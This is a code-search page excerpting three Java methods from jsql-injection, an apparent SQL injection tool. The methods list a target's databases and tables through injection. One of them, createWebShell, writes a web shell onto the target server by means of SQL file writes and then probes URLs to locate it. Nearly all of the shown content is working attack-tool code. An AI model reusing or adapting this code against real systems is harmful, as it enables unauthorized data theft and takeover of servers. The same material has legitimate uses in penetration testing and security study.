Search in sources :

Example 6 with SuspendableGetRows

use of com.jsql.model.suspendable.SuspendableGetRows in project jsql-injection by ron190.

the class DataAccess method listDatabases.

/**
 * Get database names and table counts and send them to the view.<br>
 * Use readable text (not hexa) and parse this pattern:<br>
 * => hh[database name 1]jj[table count]hhgghh[database name 2]jj[table count]hhggh...hi<br>
 * Data window can be cut before the end of the request but the process helps to obtain
 * the rest of the unreachable data. The process can be interrupted by the user (stop/pause).
 * @return list of databases found
 * @throws JSqlException when injection failure or stopped by user
 */
public static List<Database> listDatabases() throws JSqlException {
    LOGGER.trace(I18n.valueByKey("LOG_FETCHING_DATABASES"));
    List<Database> databases = new ArrayList<>();
    String resultToParse = "";
    try {
        String[] sourcePage = { "" };
        resultToParse = new SuspendableGetRows().run(MediatorModel.model().getVendor().instance().sqlDatabases(), sourcePage, true, 0, null);
    } catch (SlidingException e) {
        LOGGER.warn(e.getMessage(), e);
        // Get pieces of data already retreived instead of losing them
        if (!"".equals(e.getSlidingWindowAllRows())) {
            resultToParse = e.getSlidingWindowAllRows();
        } else if (!"".equals(e.getSlidingWindowCurrentRows())) {
            resultToParse = e.getSlidingWindowCurrentRows();
        }
    } catch (Exception e) {
        LOGGER.warn(e.getMessage(), e);
    }
    // Parse all data we have retrieved
    Matcher regexSearch = Pattern.compile(MODE + ENCLOSE_VALUE_RGX + CELL_TABLE + ENCLOSE_VALUE_RGX).matcher(resultToParse);
    if (!regexSearch.find()) {
        throw new InjectionFailureException();
    }
    regexSearch.reset();
    // Build an array of Database objects from the data we have parsed
    while (regexSearch.find()) {
        String databaseName = regexSearch.group(1);
        String tableCount = regexSearch.group(2);
        Database newDatabase = new Database(databaseName, tableCount);
        databases.add(newDatabase);
    }
    Request request = new Request();
    request.setMessage(Interaction.ADD_DATABASES);
    request.setParameters(databases);
    MediatorModel.model().sendToViews(request);
    return databases;
}
Also used : SlidingException(com.jsql.model.exception.SlidingException) SuspendableGetRows(com.jsql.model.suspendable.SuspendableGetRows) Matcher(java.util.regex.Matcher) AbstractElementDatabase(com.jsql.model.bean.database.AbstractElementDatabase) Database(com.jsql.model.bean.database.Database) ArrayList(java.util.ArrayList) Request(com.jsql.model.bean.util.Request) SlidingException(com.jsql.model.exception.SlidingException) IgnoreMessageException(com.jsql.model.exception.IgnoreMessageException) JSqlException(com.jsql.model.exception.JSqlException) InjectionFailureException(com.jsql.model.exception.InjectionFailureException) InjectionFailureException(com.jsql.model.exception.InjectionFailureException)

Example 7 with SuspendableGetRows

use of com.jsql.model.suspendable.SuspendableGetRows in project jsql-injection by ron190.

the class DataAccess method listTables.

/**
 * Get tables name and row count and send them to the view.<br>
 * Use readable text (not hexa) and parse this pattern:<br>
 * => hh[table name 1]jj[rows count]hhgghh[table name 2]jj[rows count]hhggh...hi<br>
 * Data window can be cut before the end of the request but the process helps to obtain
 * the rest of the unreachable data. The process can be interrupted by the user (stop/pause).
 * @param database which contains tables to find
 * @return list of tables found
 * @throws JSqlException when injection failure or stopped by user
 */
public static List<Table> listTables(Database database) throws JSqlException {
    // Reset stoppedByUser if list of Databases is partial
    // and some Tables are still reachable
    MediatorModel.model().setIsStoppedByUser(false);
    List<Table> tables = new ArrayList<>();
    // Inform the view that database has just been used
    Request requestStartProgress = new Request();
    requestStartProgress.setMessage(Interaction.START_PROGRESS);
    requestStartProgress.setParameters(database);
    MediatorModel.model().sendToViews(requestStartProgress);
    String tableCount = Integer.toString(database.getChildCount());
    String resultToParse = "";
    try {
        String[] pageSource = { "" };
        resultToParse = new SuspendableGetRows().run(MediatorModel.model().getVendor().instance().sqlTables(database), pageSource, true, Integer.parseInt(tableCount), database);
    } catch (SlidingException e) {
        LOGGER.warn(e.getMessage(), e);
        // Get pieces of data already retreived instead of losing them
        if (!"".equals(e.getSlidingWindowAllRows())) {
            resultToParse = e.getSlidingWindowAllRows();
        } else if (!"".equals(e.getSlidingWindowCurrentRows())) {
            resultToParse = e.getSlidingWindowCurrentRows();
        }
    } catch (Exception e) {
        LOGGER.warn(e.getMessage(), e);
    }
    // Parse all the data we have retrieved
    Matcher regexSearch = Pattern.compile(MODE + ENCLOSE_VALUE_RGX + CELL_TABLE + ENCLOSE_VALUE_RGX).matcher(resultToParse);
    Request requestEndProgress = new Request();
    requestEndProgress.setMessage(Interaction.END_PROGRESS);
    requestEndProgress.setParameters(database);
    MediatorModel.model().sendToViews(requestEndProgress);
    if (!regexSearch.find()) {
        throw new InjectionFailureException();
    }
    regexSearch.reset();
    // Build an array of Table objects from the data we have parsed
    while (regexSearch.find()) {
        String tableName = regexSearch.group(1);
        String rowCount = regexSearch.group(2);
        Table newTable = new Table(tableName, rowCount, database);
        tables.add(newTable);
    }
    Request requestAddTables = new Request();
    requestAddTables.setMessage(Interaction.ADD_TABLES);
    requestAddTables.setParameters(tables);
    MediatorModel.model().sendToViews(requestAddTables);
    return tables;
}
Also used : Table(com.jsql.model.bean.database.Table) SlidingException(com.jsql.model.exception.SlidingException) SuspendableGetRows(com.jsql.model.suspendable.SuspendableGetRows) Matcher(java.util.regex.Matcher) ArrayList(java.util.ArrayList) Request(com.jsql.model.bean.util.Request) SlidingException(com.jsql.model.exception.SlidingException) IgnoreMessageException(com.jsql.model.exception.IgnoreMessageException) JSqlException(com.jsql.model.exception.JSqlException) InjectionFailureException(com.jsql.model.exception.InjectionFailureException) InjectionFailureException(com.jsql.model.exception.InjectionFailureException)

Example 8 with SuspendableGetRows

use of com.jsql.model.suspendable.SuspendableGetRows in project jsql-injection by ron190.

the class RessourceAccess method createWebShell.

/**
 * Create a webshell in the server.
 * @param pathShell Remote path othe file
 * @param url
 * @throws InterruptedException
 * @throws InjectionFailureException
 * @throws StoppedByUserSlidingException
 */
public static void createWebShell(String pathShell, String urlShell) throws JSqlException, InterruptedException {
    if (!RessourceAccess.isReadingAllowed()) {
        return;
    }
    String sourceShellToInject = PropertiesUtil.getInstance().getProperties().getProperty("shell.web").replace(DataAccess.LEAD_IN_SHELL, DataAccess.LEAD).replace(DataAccess.TRAIL_IN_SHELL, DataAccess.TRAIL);
    String pathShellFixed = pathShell;
    if (!pathShellFixed.matches(".*/$")) {
        pathShellFixed += "/";
    }
    MediatorModel.model().injectWithoutIndex(MediatorModel.model().getVendor().instance().sqlTextIntoFile(sourceShellToInject, pathShellFixed + FILENAME_WEBSHELL));
    String resultInjection;
    String[] sourcePage = { "" };
    try {
        resultInjection = new SuspendableGetRows().run(MediatorModel.model().getVendor().instance().sqlFileRead(pathShellFixed + FILENAME_WEBSHELL), sourcePage, false, 1, null);
        if ("".equals(resultInjection)) {
            throw new JSqlException("payload integrity verification: Empty payload");
        }
    } catch (JSqlException e) {
        throw new JSqlException("injected payload does not match source", e);
    }
    if (!urlShell.isEmpty()) {
        urlShell = urlShell.replaceAll("/*$", "") + "/";
    }
    String url = urlShell;
    if ("".equals(url)) {
        url = ConnectionUtil.getUrlBase();
    }
    if (resultInjection.indexOf(sourceShellToInject) > -1) {
        LOGGER.debug("Web payload created into \"" + pathShellFixed + FILENAME_WEBSHELL + "\"");
        // 
        String urlWithoutProtocol = url.replaceAll("^https?://[^/]*", "");
        String urlProtocol;
        if ("/".equals(urlWithoutProtocol)) {
            urlProtocol = url.replaceAll("/+$", "");
        } else {
            urlProtocol = url.replace(urlWithoutProtocol, "");
        }
        String urlWithoutFileName = urlWithoutProtocol.replaceAll("[^/]*$", "").replaceAll("/+", "/");
        List<String> directoryNames = new ArrayList<>();
        if (urlWithoutFileName.split("/").length == 0) {
            directoryNames.add("/");
        }
        for (String directoryName : urlWithoutFileName.split("/")) {
            directoryNames.add(directoryName + "/");
        }
        ExecutorService taskExecutor = Executors.newFixedThreadPool(10, new ThreadFactoryCallable("CallableCreateWebShell"));
        CompletionService<CallableHttpHead> taskCompletionService = new ExecutorCompletionService<>(taskExecutor);
        StringBuilder urlPart = new StringBuilder();
        for (String segment : directoryNames) {
            urlPart.append(segment);
            taskCompletionService.submit(new CallableHttpHead(urlProtocol + urlPart.toString() + FILENAME_WEBSHELL));
        }
        int submittedTasks = directoryNames.size() * 1;
        int tasksHandled;
        String urlSuccess = null;
        for (tasksHandled = 0; tasksHandled < submittedTasks; tasksHandled++) {
            try {
                CallableHttpHead currentCallable = taskCompletionService.take().get();
                if (currentCallable.isHttpResponseOk()) {
                    urlSuccess = currentCallable.getUrl();
                    if (!urlShell.isEmpty() && urlSuccess.replace(FILENAME_WEBSHELL, "").equals(urlShell) || urlSuccess.replace(FILENAME_WEBSHELL, "").equals(urlProtocol + urlWithoutFileName)) {
                        LOGGER.debug("Connection to payload found at expected location \"" + urlSuccess + "\"");
                    } else {
                        LOGGER.debug("Connection to payload found at unexpected location \"" + urlSuccess + "\"");
                    }
                } else {
                    LOGGER.trace("Connection to payload not found at \"" + currentCallable.getUrl() + "\"");
                }
            } catch (InterruptedException | ExecutionException e) {
                LOGGER.error("Interruption while checking Web shell", e);
            }
        }
        taskExecutor.shutdown();
        taskExecutor.awaitTermination(5, TimeUnit.SECONDS);
        if (urlSuccess != null) {
            Request request = new Request();
            request.setMessage(Interaction.CREATE_SHELL_TAB);
            request.setParameters(pathShellFixed.replace(FILENAME_WEBSHELL, ""), urlSuccess);
            MediatorModel.model().sendToViews(request);
        } else {
            LOGGER.warn("HTTP connection to Web payload not found");
        }
    } else {
        throw new JSqlException("Incorrect Web payload integrity: " + sourcePage[0].trim().replaceAll("\\n", "\\\\\\n"));
    }
}
Also used : JSqlException(com.jsql.model.exception.JSqlException) SuspendableGetRows(com.jsql.model.suspendable.SuspendableGetRows) ArrayList(java.util.ArrayList) Request(com.jsql.model.bean.util.Request) ExecutorCompletionService(java.util.concurrent.ExecutorCompletionService) ThreadFactoryCallable(com.jsql.model.suspendable.callable.ThreadFactoryCallable) ExecutorService(java.util.concurrent.ExecutorService) ExecutionException(java.util.concurrent.ExecutionException)

Aggregations

Request (com.jsql.model.bean.util.Request)8 SuspendableGetRows (com.jsql.model.suspendable.SuspendableGetRows)8 JSqlException (com.jsql.model.exception.JSqlException)7 ArrayList (java.util.ArrayList)6 IgnoreMessageException (com.jsql.model.exception.IgnoreMessageException)4 InjectionFailureException (com.jsql.model.exception.InjectionFailureException)4 SlidingException (com.jsql.model.exception.SlidingException)4 Matcher (java.util.regex.Matcher)4 AbstractElementDatabase (com.jsql.model.bean.database.AbstractElementDatabase)2 Database (com.jsql.model.bean.database.Database)2 Table (com.jsql.model.bean.database.Table)2 ThreadFactoryCallable (com.jsql.model.suspendable.callable.ThreadFactoryCallable)2 ExecutionException (java.util.concurrent.ExecutionException)2 ExecutorCompletionService (java.util.concurrent.ExecutorCompletionService)2 ExecutorService (java.util.concurrent.ExecutorService)2 Column (com.jsql.model.bean.database.Column)1 Header (com.jsql.model.bean.util.Header)1 FileInputStream (java.io.FileInputStream)1 InputStream (java.io.InputStream)1 OutputStream (java.io.OutputStream)1